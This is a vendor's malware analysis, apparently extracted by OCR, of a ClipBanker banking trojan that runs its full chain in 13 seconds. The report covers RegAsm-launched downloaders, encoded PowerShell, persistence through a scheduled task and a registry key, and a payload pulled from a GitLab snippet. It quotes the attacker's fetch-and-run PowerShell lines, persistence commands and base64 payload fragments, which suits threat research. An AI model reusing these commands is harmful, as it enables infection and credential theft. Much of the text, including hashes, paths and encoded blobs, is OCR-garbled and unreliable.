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EXECUTIVE SUMMARY

In this article, the Cynet Research team reveals a highly complex attack that runs for only 13 seconds by
using several malwares and different tactics. From our analysis, the threat that we discovered within our
investigation is name the “ClipBanker” trojan.

The attack flow contains several stages of LOLBIns (Living Off the Land) abuse, masquerading, persistency,
enumeration techniques, credential thieving, fileless attacks, and finally banking trojan activities.

This attack is also using Fileless techniques in order to evade from security detections. Fileless attack has
been a growing threat since 2017 and require highly sophisticated detection and prevention tools to detect
and block. The most common Windows tools used in “Fileless” attacks are PowerShell, JS, VBA and WMI.
PowerShell is a highly popular tool used for Fileless attack, because PowerShell commands can be executed
natively on Windows without writing data to disk.

The ClipBanker Trojan is known as an information stealer and spy trojan, it aims to steal and record any type
of sensitive information from the infected environment such as browser history, cookies, Outlook data, Skype,
Telegram, or cryptocurrency wallet account addresses. The main goal of this threat is to steal confidential
information.

The ClipBanker uses PowerShell commands for executing malicious activities. The thing that made the
ClipBanker unique is its ability to record various banking actions of the user and manipulate them for its own
benefit.
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The distribution method of the ClipBanker is through phishing emails or through social media posts that lure
users to download malicious content.

Cynet 360 is protecting your assets against this type of exploit.

7:47:43.000 PM: Execution: RegAsm that spanwed a downloader (EguiProxy.exe)

The downloader downloads additional downloader (1849226900.exe)

The second downloader executes PowerShell instances that created the main Trojan Banker
payload (cs.exe) and communicated with malicious domains

The main payload copy itself in order to gain persistency on the infected environment

7:47:56.000 PM: Once the payload has gained full access and control over the infected
machine - he is able to collect and steal valuable and sensitive inforamtion

MITRE ATT&CK
The attack flow that is described below contains several known MITRE tactics and techniques.

The strategic goal of the attacker is to steal information. However, in order to do it, the attacker must go
through several steps to complete his malicious activity and successfully gain access to the sensitive data
from the compromised environment.

In this case, the attacker begins with trying to gain Initial Access (TA0001) to the victim’s environment, in
order to gain an initial foothold on the victim machine. Then, they will use several tactics such as Execution
(TA0002), in order to execute the malicious code, and Persistency (TA0003), in order to gain persistency on
the victim system.

The attackers will often need to gain access to the victim’s system in order to keep the malicious activity going
and to gain access to sensitive information from the infected environment. Such sensitive information includes
browser history, cookies, Outlook data, Skype, Telegram, or cryptocurrency wallet account addresses. The
attackers will then need to accomplish the Collection (TA0009) tactic. This means that the attacker will need
to use a Defense Evasion (TA0005) tactics to bypass security application systems from detecting the
malicious activity. In order to establish a connection, the attacker will also use a Command and Control
(TA0011) tactics to receive instruction commands from a remote server and keep preforming the attack flow.
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13 SECONDS ATTACK FLOW:
Attack started at 7:47:43.000 PM:
First Trojan Downloader:

Cynet 360 platform has detected a Trojan Downloader. A downloader is a program that downloads another
malware component from the network by connecting to a Command and Control server.

The Trojan Downloader was detected as a child process of RegAsm.exe binary. RegAsm is the Assembly
Registration tool that reads the metadata within an assembly and adds the necessary entries to the registry,
which allows COM clients to create .NET Framework classes transparently (Microsoft Developer Network).
RegAsm (LOLBiIn) can be used to perform malicious actions such as PE file execution in order to bypass
security applications.
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"C: ‘\User=AppData\Local\Temp\EguiP roxy .exe”

ci\use rs=appdata\loc al\temp\eguilproxy.exe

A co08

AAATIFB5CT624238EF374BBF3AF4EEB2ZABCZOFB7579ECDBEEFEAGT 356E23AEGQ

96 :Iz3j1+n7W7AtmLykrFVEODJtutwe79LaB+UMWMLgt3x3kJ+iGezNt :mQ740hkphDEwq9ILaB+UMWmLgt32gm

Not checked

Params “CryWindows\Microsoft.NET\Framework\v4.0.38319\RegAsm.exe"”

Path c\windows\microsoft.net\framework\v4.08.38319\regasm.exe

Pid A 4324

Running User =

SHAZ56 ABT564A8771DAFASEBEQACEAAZBC32TEFAZDBACZEDCO6B2BBC3EEBDCE660E641

SSDeep 768 :NK9zVizd4aA9v/ztAJanBdBhFt6+Y6Iq8HonYDKVdBhPiDOMa8@a9e 1YizSaAHqa8dBXw+Hy DK /@R5mat@
is signed Not checked

As you can see in the screenshot below — Cynet has detected EguiProxy.exe (the Trojan Downloader) that
was launched by RegAsm.exe (LOLBiIn):
¢ First Downloader: EguiProxy.exe

SHA-256:
SSDEEP:

MD5: f70428c34a100f9b3a6dbe58aeal5def
SHA-1: 9dd57{78f6f488bc7e96b592a7201040049f4933
4a471f05c7624238ef374bbf3af4eeb2abc20f87579ecdbeefeab1356e23ae69

96:1z3j1+n7W7AtmLykrFVEODJtutwc79LaB+UMWmLgt3x3kJ+iGczNt:mQ74OhkphDEwq9LaB+UMWmLgt32gm

Second Trojan Downloader:

Then, the Trojan Downloader downloads another malware from “hxxp./bzqopgteral.]xyz/” that will be used as
an Injector/Downloader and will execute a new malware from \AppData\Local\Temp\ directory:
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Incident detected on

Incident rec

LastScan

0S8 Version
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eived on

Path

Parent Process Details.Process Pid

e Second Downloader:

Params

"C: \Users=AppData\Local\Temp\EguiProxy.exe"
c:\userS\:appdata\local\temp\eguiproxy.exe
A 008
er ————
4A4T1FB5CT7624238EF374BBF3AF4EEB2ZABC2OF87579ECDBEEFEAGT356E23AEDRY
96:Iz3j1+n7W7AtmLykr FVEODJtutwe79LaB+UMWMLgt3x3kJ+iGezNt :mQ740hkphDEwq9LaB+UMKNmLgt32gm

Not checked

Params "C:\Windows\Microsoft.NET\Framework\v4.8.38319\RegAsm.exe"”

Path c:\windows\microsoft.net\framework\v4.8.38319\regasm.exe

Pid A 4324

Running User =

SHAZ56 ABT564AB771DAFASEBESACEAAZBCI2Z7EFA2DBACZEDCAGE2ZBBCIEEBDCH6600641

SSDesp 768 NK9zVizd4aA9v/ztAJanBdBhFt6+Y6IqBHoNYDKYdBhP1DOMa8e98 @ YizSaAHga8dBXw+HyDK/BR5mat8
is signed Not checked

084/21/28 BB:47:36 (host timezone)

4/21/2020 12:46:59 AM (host timezone)

A 2628-84-21 00:46:59 GMT+05:88

Windows 7 Enterprise x64 Service Pack 1

"C:\Use rsDAppData\Local\Temp\1849226999.exe" @
ci\use rsEappdata\local\temp\'l 84592269808 .exe

A 5476

1849226900.exe

o MD5: e5e13f0956138371ff741cf9fb2b68eb0
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e SHA-1: e7b63fbd6dc176fa29e208dc1de083c882a6ef01
» Sha256: 1f0ddf5088ac75862fe1d1c4f11f9c39645eee1edacc938a1f66f14dfc5d5288
o SSDeep:

12288:DICIEWzp4fghCC77upiLcRGjbWWkKkcOTm4RXQBWUX2Fgmvu5UshghN:3jcghJipiwojbWWkY9Tjm2eyh

The second downloader also initiated a network communication to the same Command and Control server as
mentioned above (the same C&C of the first downloader).

The main purpose of this second trojan is to execute a malicious PowerShell command by running CMD.exe.
It is worth mentioning that the cmd.exe instance was executed from syswow64 directory. This kind of activity is
similar with many other malicious activities the Cynet Research has investigated recently. The CMD instance
had run with /c argument (which allows the CMD to run and terminate immediately thereafter) in order to
execute the malicious PowerShell command described below.

Details.Process Pa 'C1\USErsDAppData\anal\Temp‘ﬂ849225966‘5\)(9'
Details.Process Path c :‘.user=appdata\loca1\temp\184922696@.exe

Parent Pri

Parent Pr

Parent Pr Details.Process Pid

Parent Pr Details.Proc Running User

Parent Pr Details.Process SHA256 1FEDDF588BACT5862FE1D1CAF11FOC39645EEETE4ACCO3BATF66F14DFCSD5288

Parent Process Details.Process SSDeep 12288 :D9ciEWzp4TqhCC77upilcRG jbWWkKkcITmARTXQBWUX2FqmvusUshghN :3jcghJipiwe joWHkYSTim2eyh
Parent Process Details.Process is signed Not checked
Process Details.Process CreationTime A 2028-84-21 8R:47

Process Details.Process Params cmd /c powershell -w 1 -exec bypass -e JABOAGQAZABUAGEACWBrACAAPQAQACCANWBTAHKACWBBAGUADQAUAFOAZOBAAHOALBFAGHAYWBVAGQARQBUAGCAXDA
BADOAVOBUAGKAYWBYAGQAZOAUAECAZOBBAFMAdABYAGKADGBNACGANWETARKACWEBAGUADQAUAEMADWBUAHYAZOQBYAHQAXQABADOARBYAGBADOBCAGEACWEBLADY ANABTA
HOACOBPAGAAZWAOACIAVWESAEIAVABBAEQAGWEBAGMAIWECADAAQQBHAFIAQOBIAFEAQDE 1 AEEARD gBRAEIAMABE. dwBCAGWAQQBIAEKARQBKAGC
AQgBWAEEARWBNAEEAWGBRAEIAUQBBAECAOABBAGEAUQBCAHUADQBIAFEADQBUAFEAQQBOAEE ARWABAEEANOBRAEIADGBBAECAVOBRAGMAZWBCAGQADDBEAGBAQDEPAGCAD
QBUAEEARWBVAEEAWDB3AETAMOBBAE gASOBBAGEAUQBCADAAQRBIAGSAQQBVAEEANGB SAEEARWASAEEAZABBAEIAdgBBAECATOBBAGIAJWECAHMAQOBDAEEAQUBOAFEAQDE
NAEEARQBZAEEAUQBRAEIADUBBAEQAVIBBAGIAUQBCAGOAQOBEAGEAQUBPAGCAQUBYAEEARWASAEEAVAB3AEIASQBBAECADWBEAF 0AUOBCAGOAQOBIAFEAQUBLAEEAQGBIA
EEARgBNAEEAZOBRAEIAeQBBAEGAUQBBAF0AUQBCAHQAQQBDADDAQOBUAGCAQYBSAEEASABRAEEATABNAEIAVABBAECAVOBBAFKAIWECADEADOBIAEKAQOBhAFEAQGAWAEE
ASABrAEEAVOBBAEIA=QBBAECAOABBAGOAQQBCAHYAQOBHAEGADQBLIAHCADGBZAEEARGBRAEEAZOBRAETADWEBBAECAYOBBAF gAUCBBAHMAGOBDAEE ADUBNAHCAQDB3AEEAR
ABJAEEATQBNAEEACABBAEQACWBBAEQAUQBBAESACOBDAFEAQRBZAGCAQBCAEEASABNAEE AWGERAEEAMOEBAEQAUQBBAGHAWECADAAQDBIAEKAQQUBhAFEAQYBTAEEARNE
JAEEASOBBAEEADOBEAEMAQOBBAESAQUBBAGBAGOBFADQAQUBAAFEAQYAZAEEAQWAWAEEAVABZAEIASQOBBAECADWEBAF 0AUQBCAGOAQDBIAFEAQDBJAEEAQGBUAEEASAB A
EEAYWB3AEIAMABBAECAVQBEAGIAUQBBAHUAQQBFADQAQQBAAFEAQGAWAEEAQWABAEEAVBIAEIADABBAECASOBBAFEAIWEBCAHMAQQEHAGSADOBAFEAQDE 1 AEEASABRAEE
ASWBRAEEAJOBBAEUAUQBBAGIAdWBCADMAQQBHADCAQOBIAEEADGB2ZAEEARWBFAEEAWGBBAEIAYABBAEQAUQBBAGMAZNBCAHAAQDBHADQALOBAAHC ADDBYAEEAQWE JAEEAY
QBBAEIAMABBAEgQAUQBBAGMAQOBCAHOAQOBEAGBAQOBMAHCAQOB2AEEARWE jAEEAYQBRAEIAMABBAECAdWBBAFKAUQBCAGKAQQBDADOAQOBZAHCAQB2ZAEEARWAWAEEAT AR
3AEIAVQBBAEUAdWBBAEBAUQBCAGAAQUBHAEKAQOBLAGCAQGAXAEEARGBBAEEATOBIAEEAMWEBBAEMAQABBAGMAZWECADAAQQBDADGAQQB JAHC AQgB 1AEEARWB rAEEAYWEBA
EIAdwWBBAECAVOBBAGQAQQBCAHOAQQBDADGAQQBNAFEAQQA 1 AEEARABVAEEATBNAEE AcgBBAEQAQRBEAEAAUQBBAHY AQQBIAEKAQQBZAFEADGAZAEEAQWE JAEEASWBRAEE
ACABBAEEAMABBAEMAZwWBCAGIAQQBFAGSAQQBUAHCAQQB1AEEARQBZAEEAYQBRAEIACWEBBAECAVQBBAF gAUQBBADYAQQBEAGSAQOBNAHCARBSAEEARWBr AEEAZABBAELAD
ABBAEUARQBBAGIAQUBCAHMAQOBFAEKAQOB1AFEAQGAWAEEARWEVAEEAYWB3AEEADWBBAEMASQBBAE0AQQBCAGWAQQBHADOAQOBK AGCAQDAZAEEASABRAEEAWGBRAEIAAR
BAEgAQOBBAFQAQQBCAGOAQDBIAEGAQUBMAGCAQYBSAEEASABNAEEANGBRAEEARQBBAEMAdWEBBAEKAQQBCAGIAQQBFAEGAQQBiIAHCAQGETAEEASABZAEEAWGBRAEIAcQBBA
EQAUQBBAFgAUQBBADYAQQBEAGEAQQBSAGCAQGBSAEEARWA4AEEAY gBRAETAQWBBAECAROBBAGMAdWBCAGWAQDBEAFKAQQBOAEEAQGBUAEEASABRAEEAYWBNAETACABBAEC
ANABBAFoAdwBBAGBAQOBDAFEAQQBZ AGCAQGBOAEEASABNAEEANGBRAEEAMGBBAEQAUQBBAGMAdWBC ADAAQOBIAEKAQOBhAFEAQYB1 AEEARWE jAEEASWBRAEEACABBAEEAM
ABBAEMAZwBCAHOAQQBIAFEAQOBZAFEAQGBSAEEASABRAEEATABRAEIAdWBBAEGASQBBAGI AdWBCAGOAQOBHAFUAQQB j AHCAQQBE AEEAQWBBAEEASOBNAEE AawWBBAECAVOR
BAGIAZWBCADIAQOBEAGBAQQBkAEEAQQBSAEEARWAWAEEAYWBBAETAYWBBAECATOBBAGHMAdWBBAHUAQOBHAFUAQQBIAEEAQGBSAEEAQWBJAEEASOBBAEEAdABBAEY AYWBBA
GEAUQBCAHUAQOBHAFEAQQBiAHCAQQAZAEEAQWBBAEEAUWBBAET AcABBAECAUOBBAF0AQOBCAGWAQQBHADOAQOBJAEEAQOBNAEEASAB3AEEASQBBAETAdgBBAEGAVOBBAGO
AQQBBAHQAQOBHADOAQOBKAFEAQGBZAEEARWBIAEEARABRAEEASWBBAEEAPQAOACTAKQAPACAATAAGAGKAZOBAACCADOAKAGKAZ gAOACEAKABBAGUACWBOACBACABRAHD A
AAgAEQASWBDAFUAOGBCAF MADWBMAHOAdWBhAHTAZOBCAGMACGAPACK AewWANAAOATAAGACAATABDAGUAdWATAEKAABIAGOATAAT AFAAYOBBAGGATABIAESAQWBVADOAXAR
TAGBAZgBBAHCAYQBY AGUAXAAGACBADQBHAGBAZQAGAGMACGANAADATOANAAOATgBIAHCALOBJAHQAZOBEAF AAcOBYAHAAZQBY AHQASQAGACBAUABhAHQAGAAGAEGASWEDA
FUAOgQBCAFMAbWBMAHQAdWBhAHIAZQBCAGMACAQACBATGBhAGBAZQAGAGY ATAATAFAACOBYAHAAZQBY AHOASQBUAHKACABLACAACWBOAHTAaQBUAGCATAATAFYAYQBSAHU
AZQAQACQAJABOAGQAVABhAHMASWAQACBAZGBYAHIAYWB1ACAATAAGAGEAJQBBACAADGE 1 AGWADAANAAOACNBOAGEACGBBACBACABYAGBAYWBLAHMACWAQACAAYWBTAGQAL
gB1AHGAZQAGACRAQOBYAGCAOBTAGUAbGBRAEWASOBZAHOATAANACAALWE JACAACWE jAGOAdABhAHMABWBZACAALWE j AHIAZOBhAHOAZOAGACBAZ gAGACAAL WBBAGAATAA
1AFUACABKAGEAdABLACAAUWBOAGUADABSACTATAAVAHMAYWAGAGADWE1AHIADABSACAALWB TAGBATAAYACAALWBBAHIATAALAHAAbWB3AGUACGBZAGGAZOBSAGNATAATA
HCATAAXACAATAATAGUATABhAFEAQQBSAEEASABNAEEASQBBAEEAawBBAEMAZWBBAFIAdwWBCAGWAQQBIAFEAQOBMAFEAQYBKAEEASABRAEEAWNGBRAETAJABBAEY AQQBBAGH
AZwBCAHY AQQBIAEEAQOBaAFEAQGBSAEEASABRAEEAZOBRAEEAZWBBAENAMABBAFIAQOBCAGAQOBIAFEAQQBhAEEAQOBNAEEAQWBBAEEAUWBBAETATABBAEUATOBBAFY AU
(QBBADYAQQBGAHCAQOBYAHCAQQB2 AEEARWBZ AEEAZABBAETAMWEBAECAROBBAGMAZWBCAGWAQOBGAHCAQOBZ AHCAONBSAEEAQWBBAEEATABRAEIATWBBAECARQBBAGIAUOR
CAGWAQOBDAEEAQQBaAGCAQNBNAEEAQWAWAEEAUGBRAET Ae(QBBAEgASOBBAGIAdWBCAHKAQQBFAEUAQQBZ AHCAQQAWAEEARWB rAEEAYB3AET AdOBBAEMAQQBBAFUAdWBCA
DAAQOBHADgAQOBj AEEAQQBWAEEAQWABAEEAWGBBAEEAPQAIACCATAAGACBAVWBPAGAAZ ABVAHCAUNBBAHKADABIACAASABPAGOAZ AB1AGAAT AANAADADQAKAA==

Process Details.Process Path c:\windows\syswowb4\cmd .exe

The PowerShell command had ran with the following parameters:

¢ -w 1 - WindowStyle Hidden, hide the PowerShell window.
¢ -e — EncodedCommand, allow to encode the command with base 64 format.

After decoding the malicious PowerShell base64 command, we have figured that the attack switched from file-
based attack to a Fileless attack. In the screenshot below, you may see that the command contains two
interesting parts:
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'[System.Text.Encoding]: :Unicode.GetString([System.Convert] romBase645tring ("WwBTAHkAcwBOAGUAbBQAUAE4AZQBOACAAUWB1AHIAdgBpAGMAZQBQAGBAaQ
BuAHQATQBhAG4AYQBNAGUACcgBdADoAOgBTAGUAYwWB1AHIAaQBOAHKAUABYAGBAdABVAGMAbWB SACAAPQAgAF sARQBUAHUAbQBAADoAOgBUAGBATWBiAGOAZQBJAHQAKABLAFMAeQBZAHQAZQBLAC
AATgBlAHQALgBTAGUAYWB1AHIAaQBOAHKAUABYAGBAdABVAGMAbWBSAFQAeQBWAGUAXQASACAAMWAWAD cAMgApADSADQAKACQAYgBhAHMAZQA2ADQACWBBAHIAaQBUAGCATAAIACAAKAACAE4AZQ
B3ACOATWB1AGOAZQBjAHQAIABTAHKACWBOAGUADQAUAE4AAZQBOACAAVWB1AGIAQWBS AGKAZQBUAHQAKQAUAEQAbWB3AGAADABVAGEAZABTAHQACEBPAGAAZWACACCAaABBAHQACABZADOALWAVAG
cAaQBOAGWAYQBiACAAYWBVAGOALWBVAEWAOQBNAGIAegB1AFAAMWA3ACBACgBOACBAcWBUAGKACABWAGUAABZACBAMQASADUANgAZADAANQAVAHIAYQB3ACCAKQAPAABACEBbAEKATWAUAEYAaQ
BsAGUAXQAGADoAVWBYAGKAdABLAEEAbABSAEIAeQBOAGUACWACACIAIABLAGAAdgA6AHQAZQB tAHAAXABAHMAL gB1AHEAZQA1IACWAIABLAEMAbWBUAHYAZQBYAHQAXQAGADOAREBYAGBADQBCAG
EAcwB1ADYANABTAHQAC gBPAGAAZWAOACQAYgBhAHMAZQA2ADQACWBOAHIAE QBUAGCAKQAPAABACEBZAHQAYQBYAHQAL QBWAHIAbWBj AGUACWBZACAAT gAKAGUAbgB2ADOAdAB 1 AGOACABCAGM

AcwAUAGUAeAB1ACIATIAAtAF cAaQBUAGQAbWB3ACAASABPAGQAZABIAGAATAAgAHWAIABVAHUAJAALAGAAdQBSAGWADQAKAA=: ) | iex”
(!(test-path HKCU:\Software\cr)){
New-Item -Path HKCU:\Software\ -name cr

New-ItemProperty -Path HKCU:\Software\cr -Name f -PropertyType string -Value #thdTask -force out-null
start-process cmd.exe -ArgumentList ' /c schtasks /create /f /tn "Update Shell" /sc hourly /mo 2 /tr "powershell -w 1 -e aQBlAHgAIAAKACgARWB1AHQA

LQBIAHQAZQBtAFAACEBVAHAAZQBYAHQA=QAZACBAUABhAHQAaAAZACAASAB LAEMAVQAGAFWAUWBVAGYAJAB3AGEAcgB1AFWAYwBYACAAL QBOAGEABQB 1ACAAZgAZACOARQBY AHTAbwBY AEEAYWEO
[AGKAbWBUACAAUWBOAGBACAAPACAAZAA="" WindowStyle

1. The first part of the PowerShell command is the $thdTask variable, which contains another base64
string. After encoding the base 64 command, we got the following command:
[System.Net.ServicePointManager]: :SecurityProtocol [Enum]: : ToObject([System.Net.SecurityProtocolType]

base64string = ((New-Object System.Net.WebClient).DownloadString('https://gitlab. com/UL9gb-uP37/r-t/snlppets/1956395/r-aw ))
[I0.File]::WriteAllBytes("fenv:temp\cs.exe", [Convert]::FromBase64String(ibase64string))

start-process "fenv:temp\cs.exe" -Window out-null

The above command is using “System.Net.WebClient” and “DownloadString” to initiate network connectivity to

gitlab.com (hxxps./gitlab[.Jcom/UL9gbzuP37/rt/snippets/1956305/raw) and to download the cs.exe file to
\temp\ directory.

When trying to access the malicious URL, we saw that it contains a large base64 string, as you can see
below:

<« C @ gitlab.com/UL9gbzuP37/rt/:

lsnnunfpaamesudmaen vmnZ3
HANDADQAACDKDAS,
A AMAuCnNyY)

1.dwQAANCNOL LVCADL RWQAAWCNGOFVCADL FiQAAWCOSFIRDADKDEQAAS EIVQgDOLBEAAFNDVYY
/7/ GA+KQg} wsqqneaans;;,ﬁs ZHVYy 5 av0uUpCAGS hARAAAFCD7BBTV1 ehbHBDADPFUT 1 FOGS  AAAAANA FEAAAAACL dQ HRRAAAAAAX Y UDWAAAMYGAT ENDH
isqa//, f) PKB(?\QKEr—.EM]mgiﬁBng ///9/dgel/ f /3/r(IBEGT':4D13L4;‘U(BiESQ5C/ZGLA(LyIlvF[tFﬁ[1GEIH‘BE(TTEXQE4 SQ(kKlPldREFK';.ALBDgﬂQ"‘ng&EAA—K(nELT/')[)
3/5QcgeL zugkRgAAL 1001 36111 B+NUQGKAUG EWHXSKEERV. DstEA;-EDerQLEHQ:gKLGIET137:53\(:‘-'1‘:&03021kPIAAAAAFl'FXluLSVSDEND:RiDocQoB:-F‘:II:I':"W\‘sLNtFHZ{'JFFr.'niBUGVEk-KAQ-'-AanLRQi‘.QDtFD;‘wE
20t FCDVXDOTHX15bi+Vdwdt FCFOelidv IXCOpAAGAAHRI U i

MZFWL7ItFDMcAk! J[NMAB-‘.L‘.‘-AMJ-‘\QMAFSCOQD
SDK/CLUNErHH+ABHEA4LN+DVEDIYPAQAAGT// / /8
JULUOLS/ v/ /10HEKBZQVOt 1/ FboUtgAATSDEBQYNCBOLTELCCVIg HHgT
izeriy Ei/KLAyvwi®sIKB]B/gLB+QI7+Q+GZAAAATH/,
-wlFQEEYSAACDXAINELED 'I-lJBIPF /F4+NBIZe {UMTh
-HiUXBUIVLEMSVAACLZ41F+IQEBCVOdA/BAQNRagBQEHD|

/HSHpKBE7BHYEL3f rCIOEETVHDOLKIQZFA
EAAACHKLUPYDWSHrwoPA/ IP4H3doi 8JRUDIVUQAAEBQT JQT+1 TOIQuSLRFhABZe UNT
/1/2/RE1¥C0Bh2BAVHIX386muBAOTuICxALF /FCLy+ThcAAA100Q1 9€ITF 13RS
w+dh+ LTRAr / nQMiwG I AoPCBIPVAXX@X 16 IUnRb i +Vdw INBL1IQuwRFX1ul SV3CDADOUNBAADI4BQEA:

4 1FCFCNRQhQIUULUOEQ/P/ / 1MEKBIQVOt1+FbogNUAAT sDEBQYhcBOLItLCCYIg+H4g FRAEAAAChKLUPY DY

HIARAATY

H3dp 1B8IRUOE T twAARBQI QT +1TOIQuSLRFxFIQTEX01DCFULSVICCART /N

180B0@E+11DBFekiay 78Qz801N+11V/DkVEG 1CAHRY@@MUAtdCFaL 8SyzMBC IdexXDx+ EAAAAAA, CL QLT iKBahFO106i0kE/ 3X@1 EXwinGLQBD/@PI18 LrYiaX410gEixGLURD/@]rDd
X8i10Ii3XsQov ClV’XS»\Eﬂ?g U{-.v-h-v /+uyVYvsaveoBktCAGShAAAAAFCE7IAAAABTV]ehbHBDADPFUL1F9: r-It‘lC’NgDWEItOF tWEIPSEHICL wolFCIPSEHICiZalVQyLGoXbdRYy24rDi030ZIkNAAAAAF1FX1uL5V3D
AAMAF rAAAAADHRD. AMAF UAAAAADHREWAAAAAL 3OT 1UXQI Uk eJ.X3E130Q1U3:18hQ' 4ACIVeT/cxjGRFWCECLE/ /+LRCINXS// /9qn9913'|dF /RMAAACIRCCINXT// / /obAgAATIFiFD/ddyLy /113X
PVRAXSAEGL Ty L) 1 A LSRAACKWATNIGSIDQAAAABTX15b 1 +Vdw+g0AZEA: VOKBhXUYtNFA+2CVFQ6ELMAACDXAYL Z0XAD@.
3IXx10UIX15biQhdw EAAAAAUTPSQFNWVEF sc EMAMBVQUXBZKMAAAAAMIUNT ehT iV306PEZAACLPRIDQWChOINDAI LA/ TLF7IX/dS9X JU3w60C ZAAASPRIDQWB 1EKET hEN \AQKI|lhEll—ox.\DQ-<NT'D~5Jc AIsIGINDA:

i@XshcB@BIvwE3tqC0iusgAAl /COxASIdezGRFwBhfZOOItFCItIBIX] dQe4PGICADSKIOEYhcB1A41BHFCNTD KAAL sBAAAAXDYEAAAAAMCGMGLCADSCM/ b 2wF @CT INtO SEwAAIXUTVSZF/ALovaEAAT sgBQE 187 /UgS INTiDQwCNTe ]
{UXWULZXUT1F9GS JAAAAAT t1CTINYDPBIXXMU4 Ld10ivmaRAizokger SF/3UvV41N@0h3, TokgeMAdRChCIRDAEC jCIRDAKMkgOMA]U3QEK +YAACLPS SDQWCLT gQ7eQxz ETtECTSOUIX2D4XRAAAA,
‘LY(_ylleP‘QMR n-\f_DeEQkaXB-\adFJAEm j-\u;nULlNlDLAB AR _LDLI*E‘BCbMCJRgI Vg‘rn 9sMCAAUNTZ! 554 BJVKI-«»-IIdF’MDZ\‘JFBCIIHZUH‘M sZF /ATOLGAAAT sWgBQE
» 1EQwCIIIRDATINTOgilwAAizOghEMALIGQL 0! Q)
FBAFACT1NOODEAAAIXY s F/ALDF;‘-‘I—-[;M;&QEJU Ugi NS 1DQw CNTeTaDpVA..
1YYi8qLRhQryHHSACXIdACTvnQDIUYYXBYEARA A
LIP6CHUHUBUggXHr ITP6EHUHUAQDCG7 rFDPA
VI A0 1 Ve 31V VeI IV 31 Ve S1VAT | VA,

f0iBLBEAP3IOILNW
wndvarinaa,

TPgBﬂ GOT1WQIPiP:

iNvase /2hiacHin f

After decoding the base64 string, we have figured that the base64 string is basically a PE file (an MZ file) that
will be downloaded to $env:temp (environment variable of the TEMP directory
C:\Users\user\AppData\Local\Tem) the payload as “cs.exe”:

[1O.File]::WriteAlIBytes(“$env:temp\cs.exe”, [Convert]::FromBase64String($baseb4string))
Finally, the payload executes by start-process command.

start-process “$env:temp\cs.exe”
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length: 3@9932 e
Input = 5 + OS5 @ =

lines:

TVGOAAMAAAAEARAA/ /BAALEAAALAAALARDAALAAAAALAAAALALAALALALALALAARAAASALAARASALARAACAEARALFUEAATANNIDEETMBhVGhp CyBrcmIncmFtIG
Nhbm5vdCBiZSBydW4galdgREOTIGLVZGUUDQBK I ARAAAAARACT/POpS52d+uednfrinZ3tgvue++qdnfqC+5j7552d+ol7mfvxnZ36eTla+uadnfql9Z778p2d
+rXImPvZnZ36tfWZ+8adnfqC+5z7412d+uednPqPnZ36ffSY++adnfp99GLE5p2d+n3@n/vmnZ36Uml] a0ednfoAlAAAARALAAARAAAAAAAALUEUAAEWBBOAC2N
1eAAAALARAAADE AATBCWEOEABGAZAAUZEAARAAAL FWAAAAEALAAGACAAAADAAAEAALAAT AALY AALAAAAANBEALAAALAAALAAAMALAQAAALAAAACAECBARAQALAD
AALAABAAABAALALAAAALQAAAAAALALAAAAAASK EMALAASAAC EAWD ZAQAAAALALALAAASALAAAAALAAACWAWDA T QAAC DK DABWAAAAAAAAAA AL ALAAAAALAAALAMD
oDAB gALACQOQMAQAAALAAAAAALAAALAGACATABAAALAAAAAALAAALAAAAALAAAARASAAAAAL AU GVADAARAE X FAZAAE ABALEY CAAAEAALAAAAAALAAALALALAS
AABgLnIKYXRhAACZBEEAAGACAAATAQAAS ZTAAAAAALALALAAALAADASAAQCSKYXRRAALAHCEAAABWAWAAE ZALAAF IDAAALAAAAAAAAAAAAAE AAAMALIC NN Y YWAAAD
ABAAAADAMAAATAAABKAWMAAAAAAAALAAAAAALBAAABAL N 1bGSJAADATQAAAL ADAAAMAALAZ gMALAAAAAALASALAAAAQAAAQEAAAAAAAALALALAAASALAAALAAL
ARLAAALAALAALAALAALAAAAAAAAAALAAAAALLALAALAAALAAALAAAALAAALAAAAAAASAAAAAAAALLAAAAALAALAALLAAALALAAALALLAALAALAAAAAAAASALAAL
ARLAAALAALAAAAALAALAAAAALAAAALAAAAALLAAAALALAALAALAAAAALAAALALAAAAAAAAAAALAAALAAAAALALAAAAALAAAAALLAALALAAALAAAAAAAAAALASAAAAL
ARLAAAALAALAAAAAAAALAAAAALALAAALAALAAALALALAALLAAALAALLAAAALAAALALAAAAAAAAAAALAALAALAAALALAALALLAAALALAAALALLAALAALAAAAAAALAALAAL
AAALAAAAAAAALAAAMALALALL 1AgBMAGHZ LARBOG IVCAD L pwQAAWcNoIFVCADLdwQAAWCNoL IVCACT RuQARWCNoOFVCADLFwQAAWCOSr IRDAOhDpQAARETVOEDD
bBEAAFNDVYvsiBeMg3kUETtBEHIC iwmLVQhg3oUEI tyEHICIxI78HVhg+4EchgPHAAAAAAA IWI 7AXUQEBIEGBEEG+AE C+4D/ vBNIoCOgF114P+/XQpik IEOk
EBdJRqQD/vE@HIpCA]pBANUNgE/ 7/ dA+KQgMEQQNEBxvAg8gBEWI ZwIXAdQWWAVSdwz LAX13DZzMzMzMzMVY vs avBouUpCAGShAAAAAFCD7BEBTV1ehbHBDADPFUILF
9GS JAALAAMFEAAAAACLdQJHRhAAAAAAXBYUDWAAAMYGATENDMA F /AAAAADHRe gBAAAA JVEBIgFBhMB1+Y tdECVKIZ4Q1X3wi IMQADG IVeQT7 +g+HSgAMAT teFD
vaDATYAAAADAPBAAAAIBgL/ / / / FyvPKBCTWO+CBAEAAT vEEBBPET/// /9 /dge/// //f+seiBud/ // /FOHPKBET 2HYHY/ // / 3/ rCIBEGTvADS L4 jUCBiBEQ6078

BT e aT] e T Tl T r A rr I T e eerim e e latr AT e E M 08 A PP e A e C e U AN A mle o T fa P e e o 2EA IS T AT e 1120 ah AR TaaC A C e Tl A A AT r I TR Tlar2 A R

time: 192ms

. length: 232218 T £
outPUt / lines: 445 a D m iz
MZ e 7y B T T SR e..” 1!, .Li!This program cannot be run in DOS mode.
$ommon £6OC. .G¢. .U¢. . G.0.08. .0.0.0K. .. 0. 0. . dy=Z0=. .Gp8.00. . Gpé. al. .Opd. 0. .G.0.03. .G¢. 0. . .0}6.0=. . 0}dbha. .G}

B.02. ORICHC. (e eeensnnncnnnnns PE..L....0y". ... ... Y [ S o S 5 B e L
e e e e e P TR

L SR - B [ FR L= T D L ey g R e i text...LE....... oo
Lurdatal 9ol AL e mim i mansmm ey @..@.data.... oopeaaan.. R @..A.rsrc.. Ao aaaa... - D @..
@.reloc..A%...

LI T -
............................................................................................... 19.C.2}

